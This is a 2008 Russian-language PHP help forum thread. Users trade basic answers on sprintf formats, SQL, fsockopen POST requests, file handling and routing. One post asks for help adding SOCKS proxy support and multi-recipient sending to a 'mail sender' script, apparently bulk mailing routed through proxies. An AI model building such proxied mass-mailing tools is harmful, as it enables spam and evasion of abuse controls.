Необязательный описатель заполнения, который определяет, какой символ будет использоваться для дополнения результата до необходимой длины. Это может быть пробел или 0. По умолчанию используется пробел. Альтернативный символ может быть указан с помощью '. См. примеры ниже.
Необязательный описатель выравнивания, определяющий выранивание влево или вправо. По умолчанию выравнивается вправо, - используется для выравнивания влево.
Необязательное число, описатель ширины, определяющий минимальное число символов, которое будет содержать результат этого преобразования.
Необязательный описатель точности, определяющий, сколько десятичных разрядов отображать для чисел с плавающей точкой. Имеет смысл только для числовых данных типа float. (Для форматирования чисел удобно также использовать функцию number_format().)
Описатель типа, определяющий, как трактовать тип данных аргумента. Допустимые типы:

% - символ процента. Аргумент не используется.
b - аргумент трактуется как целое и выводится в виде двоичного числа.
c - аргумент трактуется как целое и выводится в виде символа с соответствующим кодом ASCII.
d - аргумент трактуется как целое и выводится в виде десятичного числа со знаком.
e - аргумент трактуется как float и выводится в научной нотации (например 1.2e+2).
u - аргумент трактуется как целое и выводится в виде десятичного числа без знака.
f - аргумент трактуется как float и выводится в виде десятичного числа с плавающей точкой.
o - аргумент трактуется как целое и выводится в виде восьмеричного числа.
s - аргумент трактуется как строка.
x - аргумент трактуется как целое и выводится в виде шестнадцатиричного числа (в нижнем регистре букв).
X - аргумент трактуется как целое и выводится в виде шестнадцатиричного числа (в верхнем регистре букв).

Начиная с PHP 4.0.6 в строке формата поддерживается нумерация и изменение порядка параметров.

inlanger
31.07.2008, 11:39
Это форматированый вывод:
http://citforum.edunet.kz/programming/python/python4.shtml
Почитай тут...

mff
31.07.2008, 12:18
select * from friends WHERE 1
а надо
select * from friends WHERE `id`='1'

l0l1k
31.07.2008, 18:02
как через php послать post запрос и получить ответ от сервера ?
например у меня есть запрос

POST http://www.site.com/index.php?login=yes HTTP/1.0
User-Agent: Opera/9.21 (Windows NT 5.1; U; ru)
Host: www.site.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,aa;q=0.8,ru-RU;q=0.7
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://www.site.com/index.php?login=yes
Cookie: PHPSESSID=8eaead8d6e201114b82735b7ddb2553a; BITRIX_SM_BANNERS=1_4_1_07082008%2C1_3_1_07082008% 2C1_2_1_07082008; __utma=147437745.234931650.1217511128.1217511128.1 217511128.1; __utmc=147437745; __utmz=147437745.1217511128.1.1.utmccn=(direct)|ut mcsr=(direct)|utmcmd=(none); __utmb=147437745
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Length: 112
Content-Type: application/x-www-form-urlencoded

AUTH_FORM=Y&TYPE=AUTH&USER_PASSWORD=aaa&x=40&y=7&AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=aaa&USER_PASSWORD=aaa&x=35&y=9

Shadow_p1raT
31.07.2008, 18:14
вот тебе функция:

function post($host,$path,$cookies,$zapros,$referer)
{
$respons="";
$fp1=fsockopen($host,80,$errnum,$errtxt,30);
$send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$send .= "Referer: $referer\r\n";
$send .= "Cookie: $cookies\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Content-Length: ".strlen($zapros)."\r\n";
$send .= "Connection: Close\r\n\r\n";
$send .= $zapros;
fputs($fp1,$send);
while(!feof($fp1)){
$respons.=fgets($fp1, 1024);
}
return $respons;
}

Пример использования функции:

echo post('www.site.com','/index.php?login=yes','PHPSESSID=8eaead8d6e201114b8 2735b7ddb2553a','AUTH_FORM=Y&TYPE=AUTH&USER_PASSWORD=aaa&x=40&y=7&AUTH_FORM=Y&TYPE=AUTH&USER_LOGIN=aaa&USER_PASSWORD=aaa&x=35&y=9','www.site.com');

l0l1k
01.08.2008, 02:36
скажите плиз как легче всего пощитать количество вхождений определёнова слова в тексте?

Petr
01.08.2008, 03:13
Ребят кто может помочь к маил сендеру прикрутить потдержку соксов?
Вот скрипт
http://webfile.ru/2129344
И реально ли реализовать чтобы слалось на несколькоп очт разом
С меня естесвено +

OMG!!
01.08.2008, 03:14
Sandjuro, не качал архив.. если прога виндовая.. качай проксификатор ( WideCap например ) и через него ставь сокс.. :)
сори.. ночь на дворе, глаза слипаются уже.. если на локал хосте только :) ( пустить обработчик php через проксификатор.. :)


а так.. намек ;-)

$fp = fsockopen("xxx.xxx.xxx.xxx", 3128)

правда скрипт онли http =\

Petr
01.08.2008, 03:38
Скрипт юзаю на хостинге :)

159932
01.08.2008, 05:13
есть ли ст. булевая функция для определения что в стринге находятся исключительно цифры и лат буквы ? ну или чтото типо этого ..

Naydav
01.08.2008, 05:18
есть ли ст. булевая функция для определения что в стринге находятся исключительно цифры и лат буквы ? ну или чтото типо этого ..
Да, preg_match() :)

Zedi
01.08.2008, 05:33
Не вроде функция ereg(); надо передать регулярку и переменную которую проверять на сколько я помню

MafiaBoy3
01.08.2008, 10:33
У меня вопрос по вконтакту, который меня волнует. Я полный новичок в пхп!

На странице моего профайла в контакте есть ссылка для загрузки своей фотографии. Она следующего вида profileEdit.php?page=photo.

Мне интересно как она работает и ПОЧЕМУ сделана именно так?
Как может примерно выглядеть из-нутри файл profileEdit.php?

Jer1cho
01.08.2008, 10:41
Ну скрипту передается что он должен редактировать фото: то есть типо if($_GET['page']=='photo'){ .... код .... } else { .... }

MafiaBoy3
01.08.2008, 10:43
а это типа модульный двиг ил что это?
Можно ли это всё провернуть через switch case?

5triker
01.08.2008, 11:14
RTFM

m0nsieur
01.08.2008, 11:24
а это типа модульный двиг ил что это?
Можно ли это всё провернуть через switch case?

Конечно там модульный engine иначе никак.
Все равно как ты опишешь условия хоть через if-elseif-else или же через switch-case.

P.S. Когда уже ты покажешь свою соц. сеть, которую ты все пишешь-пишешь? :D

5triker
01.08.2008, 11:30
p.s. Когда уже ты покажешь свою соц. сеть, которую ты все пишешь-пишешь?


ты что это приватный двиг , простые смертные его никогда не увидят

Zircool
01.08.2008, 16:46
Есть файл lis.txt с котором порядка 600 записей как очуществить функцию, которая бы работала следующим образом, при запросе к скриптц он выводил первую строчку из list.txt и сразу же её стерал из документа list.txt. Как вопрлотить функцию именно вывода 1 строчки из файла а затем её же и удаление?

still12
01.08.2008, 17:20
Возможно ответ уже есть на форуме ... в этой теме ...однако на форуме ужасно неудобный поиск ..Ну так вот есть код записи в файл
$handler = fopen("test.txt", "a+");
fwrite($handler,$link3);
fclose($handler);
Как видите данные в файл будут записываться одной строкой а нужно чтобы они записывались каждые с новой строки ....Подскажите как сделать ибо на данный момент для меня не реально занести их в массив)

still12
01.08.2008, 17:23
ты что это приватный двиг , простые смертные его никогда не увидят
5triker хе .....у мну на днях один кент просил найти исходник поисковика какогонть..причем ему нужно бесплатно ... .....видемо хочет собственный гугл сделать ...)))я долго под стулом волялся

m0nsieur
01.08.2008, 17:29
1. Открываешь файл fopen()
2. Читаешь его fread()
3. Разбиваешь получившуюся строку на элементы массива каким-нибудь preg_split() или просто split()
4. Выводишь первый элемент массива echo(array['0'])
5. Закрываешь файл fclose()
6. Удаляешь первый элемент из массива array_shift()
7. Открываешь файл на запись стирая все предыдущее fopen с аттрибутом w+
8. Пишешь все в файл по элементам в цикле
9. Закрываешь файл.

Можно конечно оптимизировать.

mff
01.08.2008, 17:37
\n

Ch3ck
01.08.2008, 17:42
fwrite($handler,$link3."\n");

Слэш в обр. сторону...

still12
01.08.2008, 18:09
fwrite($handler,$link3."\n");

Слэш в обр. сторону...


Хм.....не вышло ...

Ch3ck
01.08.2008, 18:19
быть такого не может.
вот тебе простой пример:


<?php
$text='First STRING';
$fp=fopen("file.txt","w+");
for($i=0;$i<15;$i++) {
fwrite($fp,$text."\n"); }
fclose($fp);
?>